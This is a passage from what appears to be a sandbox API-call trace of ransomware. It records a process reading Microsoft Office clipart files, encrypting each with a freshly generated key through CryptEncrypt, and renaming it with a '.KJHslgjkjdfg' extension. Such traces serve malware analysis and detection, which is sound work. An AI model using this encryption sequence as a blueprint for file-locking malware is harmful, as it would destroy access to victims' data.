nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.866] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.866] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.866] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.866] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.867] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.867] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.867] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.867] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1352, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1352, lpOverlapped=0x0) returned 1 [0161.868] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1360, dwBufLen=0x1360 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1360) returned 1 [0161.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.868] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1360, lpOverlapped=0x0) returned 1 [0161.869] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.869] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.869] SetEndOfFile (hFile=0x114) returned 1 [0161.872] GetProcessHeap () returned 0x2a0000 [0161.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.872] GetProcessHeap () returned 0x2a0000 [0161.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.kjhslgjkjdfg")) returned 1 [0161.874] CloseHandle (hObject=0x114) returned 1 [0161.874] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0161.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.879] GetProcessHeap () returned 0x2a0000 [0161.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.879] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.879] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0161.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.882] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.882] GetProcessHeap () returned 0x2a0000 [0161.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.882] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.882] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.882] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.882] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.882] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.882] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.882] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.883] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1016, lpOverlapped=0x0) returned 1 [0161.884] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1020, dwBufLen=0x1020 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1020) returned 1 [0161.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.884] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1020, lpOverlapped=0x0) returned 1 [0161.884] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.884] SetEndOfFile (hFile=0x114) returned 1 [0161.887] GetProcessHeap () returned 0x2a0000 [0161.887] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.887] GetProcessHeap () returned 0x2a0000 [0161.887] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.kjhslgjkjdfg")) returned 1 [0161.888] CloseHandle (hObject=0x114) returned 1 [0161.888] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0161.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.889] GetProcessHeap () returned 0x2a0000 [0161.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.889] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.889] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.892] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.892] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.892] GetProcessHeap () returned 0x2a0000 [0161.892] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.892] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.892] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.892] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.892] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.892] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.892] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.892] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.893] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.893] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcd2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcd2, lpOverlapped=0x0) returned 1 [0161.893] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0, dwBufLen=0xce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0) returned 1 [0161.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.893] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xce0, lpOverlapped=0x0) returned 1 [0161.893] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.893] SetEndOfFile (hFile=0x114) returned 1 [0161.896] GetProcessHeap () returned 0x2a0000 [0161.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.896] GetProcessHeap () returned 0x2a0000 [0161.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.kjhslgjkjdfg")) returned 1 [0161.897] CloseHandle (hObject=0x114) returned 1 [0161.897] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0161.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.898] GetProcessHeap () returned 0x2a0000 [0161.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.898] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.898] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.898] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.900] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.900] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.901] GetProcessHeap () returned 0x2a0000 [0161.901] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.901] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.901] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.901] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.901] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.901] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.901] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.901] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.901] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.901] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.901] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4162, lpOverlapped=0x0) returned 1 [0161.902] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4170, dwBufLen=0x4170 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4170) returned 1 [0161.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.903] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4170, lpOverlapped=0x0) returned 1 [0161.903] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.903] SetEndOfFile (hFile=0x114) returned 1 [0161.906] GetProcessHeap () returned 0x2a0000 [0161.906] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.906] GetProcessHeap () returned 0x2a0000 [0161.906] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.kjhslgjkjdfg")) returned 1 [0161.908] CloseHandle (hObject=0x114) returned 1 [0161.908] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0161.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.909] GetProcessHeap () returned 0x2a0000 [0161.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.909] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.909] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.909] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.909] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.909] GetProcessHeap () returned 0x2a0000 [0161.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.910] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.910] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.910] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.912] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.912] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.912] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.912] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.913] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.913] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 